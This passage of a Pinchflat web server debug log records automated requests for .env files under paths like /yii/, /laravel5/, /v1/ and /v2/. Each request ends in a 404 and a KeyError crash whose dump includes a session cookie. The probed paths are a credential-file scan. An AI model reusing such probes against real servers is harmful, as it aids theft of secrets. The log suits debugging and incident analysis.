s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.986 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.986 [error] #PID<0.3392.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 88) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /yii/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /yii/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/yii/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 88, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3392.0>, params: %{}, path_info: ["yii", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/yii/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6g1GGSYSdFwAARXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/yii/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 88, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /yii/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/yii/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 88, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:15.106 [info] GET /laravel5/.env 02:10:15.106 [debug] QUERY OK source="settings" db=0.3ms idle=237.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.106 [debug] QUERY OK source="settings" db=0.1ms idle=237.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.106 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.107 [error] #PID<0.3393.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 89) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /laravel5/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel5/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel5/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 89, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3393.0>, params: %{}, path_info: ["laravel5", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/laravel5/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6hRuYH3rKUcAARYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel5/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 89, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel5/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel5/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 89, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:15.218 [info] GET /v1/.env 02:10:15.219 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=270.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.219 [debug] QUERY OK source="settings" db=0.1ms idle=233.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.220 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.220 [error] #PID<0.3394.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 90) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /v1/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 90, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3394.0>, params: %{}, path_info: ["v1", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/v1/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6hsfUl8cTyIAARZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 90, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 90, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.t (truncated) 02:10:15.297 [info] GET /v2/.env 02:10:15.298 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=311.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.298 [debug] QUERY OK source="settings" db=0.1ms idle=191.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.298 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.299 [error] #PID<0.3395.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 91) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /v2/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v2/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 91, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3395.0>, params: %{}, path_info: ["v2", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", 